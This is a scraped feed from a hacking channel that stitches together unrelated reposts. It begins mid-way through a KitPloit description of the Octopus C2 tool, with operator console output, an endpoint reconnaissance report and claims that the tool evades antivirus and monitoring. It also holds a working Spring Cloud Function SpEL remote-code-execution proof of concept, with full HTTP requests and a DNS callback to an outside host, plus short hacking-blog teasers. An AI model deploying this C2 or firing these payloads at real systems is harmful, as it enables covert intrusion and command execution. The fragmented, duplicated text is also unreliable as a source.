Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10 IPv4 Address. . . . . . . . . . . : 192.168.1.43 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.1.1 Ethernet adapter Ethernet: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Ethernet adapter Bluetooth Network Connection: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : (HR-PC-TYRMJ) >> In this case the command has been encrypted and then sent to the agent, after that the client will decrypt the command and execute it, the agent will encrypt the results, and finally send it back again to the C2 to decrypt it and show the results. We can also use the report command to get the ESA information like the following: > report [+] Command sent , waiting for results (HR-PC-TYRMJ) >> Endpoint situation awareness report for HR-PC-QNGAV ============= Hostname : HR-PC-QNGAV Domain : darkside.com OS : Microsoft Windows 10 Pro(64-bit) OS build : 10.0.17134 OS arch : 64-bit AntiVirus : Symantec SIEM solution : False Internal interfaces/IPs : IP : 192.168.178.144 IP : 172.12.1.20 Device language : en-US Device uptime : 41.6386169797778 hours Device local time : 21:55(09/09/2019) (HR-PC-TYRMJ) >>">(HR-PC-TYRMJ) >> report [+] Command sent , waiting for results (HR-PC-TYRMJ) >> Endpoint situation awareness report for HR-PC-QNGAV ============= Hostname : HR-PC-QNGAV Domain : darkside.com OS : Microsoft Windows 10 Pro(64-bit) OS build : 10.0.17134 OS arch : 64-bit AntiVirus : Symantec SIEM solution : False Internal interfaces/IPs : IP : 192.168.178.144 IP : 172.12.1.20 Device language : en-US Device uptime : 41.6386169797778 hours Device local time : 21:55(09/09/2019) (HR-PC-TYRMJ) >> You can load an external powershell module by placing it in the modules directory, then executing load module.ps1. Also you can list all of the modules in the modules directory by executing the modules command like so: > modules PowerView.ps1 (HR-PC-TYRMJ) >> load PowerView.ps1 [+] Module should be loaded ! (HR-PC-TYRMJ) >>">(HR-PC-TYRMJ) >> modules PowerView.ps1 (HR-PC-TYRMJ) >> load PowerView.ps1 [+] Module should be loaded ! (HR-PC-TYRMJ) >> More about Octopus Octopus v1.0 stable: (https://shells.systems/octopus-v1-0-stable-cobalt-strike-deployment-much-more)Cobalt Strike (https://www.kitploit.com/search/label/Cobalt%20Strike) deployment & much more! Unveiling Octopus: The pre-operation C2 for Red Teamers (https://shells.systems/unveiling-octopus-the-pre-operation-c2-for-red-teamers/) Credits Ian Lyte (https://twitter.com/Bb_hacks) for reporting multiple bugs in Octopus and pushing an enhanced AMSI bypass module. Khlief (https://github.com/ahmedkhlief) for adding HTA module and fix a bug in download feature Moath Maharmah (https://twitter.com/iomoaaz) for enhancing the encryption (https://www.kitploit.com/search/label/Encryption) module and writing a standalone C# Octopus agent which will be added to the upcoming release. TeslaPulse (https://github.com/TeslaPulse/) for testing Octopus J005 (https://github.com/iomoath) for adding enhanced Powershell oneliner and fix an issue in the HID attack script. License This project is licensed under the GPL-3.0 License - see the LICENSE file for details

Download Octopus (https://github.com/mhaskar/Octopus)

___________________________
@hacking_Attack
@Hacking_Video

I Obtained ADMIN access via Account Activation link [In 30 seconds]
https://popalltheshells.medium.com/i-obtained-admin-access-via-account-activation-link-in-30-seconds-dd7f115ae1d2?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Folks, for those of you who didn’t know, I absolutely have a blast every-time I have to perform web app testing; because the way to…Continue reading on Medium » (https://popalltheshells.medium.com/i-obtained-admin-access-via-account-activation-link-in-30-seconds-dd7f115ae1d2?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Year of the Jellyfish — TryHackMe

https://cdn-images-1.medium.com/max/992/1*7zsQ9cQzcrhxsg03HRX6Iw.png
Some boxes sting…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
I Obtained ADMIN access via Account Activation link [In 30 seconds]

https://cdn-images-1.medium.com/max/648/1*0qTM6xqmGo9Dz3ajwjbcUg.png
Folks, for those of you who didn’t know, I absolutely have a blast every-time I have to perform web app testing; because the way to…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
10 tips to protect your smartphone

#1 Don’t install applications from unknown sources / untrustworthy

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Passive Reconnaissance | TryHackMe (THM)

https://cdn-images-1.medium.com/max/600/1*D67uxKXKM_ukGMfz92Bu5Q.png
Lab Access: https://tryhackme.com/room/passiverecon

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Octopus - Open Source Pre-Operation C2 Server Based On Python And Powershell

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbHWqJOIrPw1rtL54yTbIw2cIlFynsHet-hAWvK_u1f0f88sjWefvmE6TSScgWonu3L4Yoba05WDi73dn25KnBWivGITsB7E7NBjoc5ZJv2ADyw9rtQBF2yvCauzx2apyR5VE8udwetILFJcRT_BO6bP5W676EsogYy6dNyuGa7i692KlkMB_sXlnP/w640-h346/Octopus.png Octopus is an open source, pre-operation C2 server based on python which can control an Octopus powershell agent through HTTP/S.

The main purpose of creating Octopus is for use before any red team operation, where rather than starting the engagement with your full operational arsenal and infrastructure, you can use Octopus first to attack the target and gather information before you start your actual red team operation.

Octopus works in a very simple way to execute commands and exchange information with the C2 over a well encrypted channel, which makes it inconspicuous and undetectable from almost every AV, endpoint protection, and network monitoring solution.

One cool feature in Octopus is called ESA, which stands for "Endpoint Situational Awareness", which will gather some important information about the target that will help you to gain better understanding of the target network endpoints that you will face during your operation, thus giving you a shot to customize your real operation based on this information.

Octopus is designed to be stealthy and covert while communicating with the C2, as it uses AES-256 by default for its encrypted channel between the powershell agent and the C2 server. You can also opt for using SSL/TLS by providing a valid certficate for your domain and configuring the Octopus C2 server to use it. Octopus key featuresOctopus is packed with a number of features that allows you to gain an insight into your upcoming engagement before you actually need to deploy your full aresenal or tools and techniques, such as:

* Control agents throught HTTP/S.
* Execute system commands.
* Download / Upload files.
* Load external powershell modules.
* Use encrypted channels (AES-256) between C2 and agents.
* Use inconspicuous techniques to execute commands and transfer results.
* Create custom and multiple listeners for each target.
* Generate different types of payloads.
* Support all windows versions with powershell 2.0 and higher.
* Run Octopus windows executable agent without touching powershell.exe process.
* Gather information automatically from the endpoint (endpoint situational awareness) feature. RequirementsYou can install all of Octopus' requirements via : pip install -r requirements.txtYou need to install nasmfor linux and 'mingw-w64' compiler to use the shellcoding feature and the spoofed args agent.

You can install nasm on Debian based distros using: apt install nasmAnd you can install mingw-w64on Debian based distros using: apt install mingw-w64Octopus has been tested on the following operating systems:

* Ubuntu (18.04)
* Ubuntu (16.04)
* Kali Linux (2019.2)

You will also need to install mono to make sure that you can compile the C# source without issues.

Octopus depends on mono-csc binary to compile the C# source and you can install it by the following command apt install mono-develwhich has been tested on kali and ubuntu 16.04.

you can use Octopus without installing mono but you will not be able to use generate_execommand.

Also please note that compling C# depends on the System.Management.Automation.dllassembly with SHA1 hash a43ed886b68c6ee913da85df9ad2064f1d81c470.

If you encounter any issues using Octopus, feel free to file a bug report! InstallationFirst of all make sure to download the latest version of Octopus using the following command : git clone https://github.com/mhaskar/Octopus/Then you need to i[...]

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Octopus - Open Source Pre-Operation C2 Server Based On Python And Powershell

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Spring-Spel-0Day-Poc : Spring-Cloud / spring-cloud-function, spring.cloud.function.routing-expression

Spring-Spel-0Day-Poc is spring-cloud/spring-cloud-function RCE EXP POC https://github.com/spring-cloud/spring-cloud-function header

spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(“open -a calculator.app”)

build

wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zip
unzip v3.1.6.zip
cd spring-cloud-function-3.1.6
cd spring-cloud-function-samples/function-sample-pojo
mvn package
java -jar ./target/function-sample-pojo-2.0.0.RELEASE.jar

get path lists for test

find . -name “*.java”|xargs -I % cat %|grep -Eo ‘”([^” .\/=>|,:}+)'”‘”‘]{8,})”‘|sort -u|sed ‘s/”//g’

…
functionRouter
uppercase
lowercase
…
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6OT1yKCEZ1fkQBsp_tpVvNfJmaofjJSE2NBP6IwgYPDHVOeTSc7cT2WW4rWqnllK3JhgwxY-o6ertBuaeWwdsISjs7qUCgeuAbDkyUiwKU4ZJ13zEfdHeNL7VJATOuhR-w6GvTq6rG1aMX280BjGt9CKgbh8SAxzksmZvFtep-1KzuwpydhNZc4as/s1658/1.png
poc1

POST /functionRouter HTTP/1.1
host:127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(“open -a /System/Applications/Calculator.app”)
Content-Length: 5
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDkub2LPM9Iomo1ksesABPumH9sjwY-ZDu88TFCYHmD_ggJ2RfdMOU4uABlyBVf1XGhIgxs2MVybDVzJA4iFMcb9G0n0K7b8Y0gKSg33Qj96_afoi2ya8f89klF93Q0VtSuBXfxxmK7oaECaAsrZWPzXVvul435r-a92XroUFoOVjKUgdSF4oQnC2u/s2296/2.png
poc2

POST /functionRouter HTTP/1.1
host:127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
spring.cloud.function.routing-expression:T(java.net.InetAddress).getByName(“random87535.rce.51pwn.com”)
Content-Length: 5
51pwn

check

curl -v -H “user-agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0” ‘https://51pwn.com/dnslog?q=random87535.rce.51pwn.com’
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Slyther : AWS Security Tool

Slyther is AWS Security tool to check read/write/delete access for S3 buckets.

Requirements

aws-cli

Installation

pip3 install -r requirements.txt

Usage example

python3 slyther.py -b flaws.cloud
Download

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Does anyone know how to juice jack your own device for research?

I’ve been searching around and I haven’t really found much on juice jacking on the clear web, I’ve seen stuff about how it works and how to protect yourself against it but I’ve been looking at juice jacking one of my devices to see how dangerous it is. If anyone has any docs or can help me that would be great!

submitted by /u/0x6C2b709e58d7280b82
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video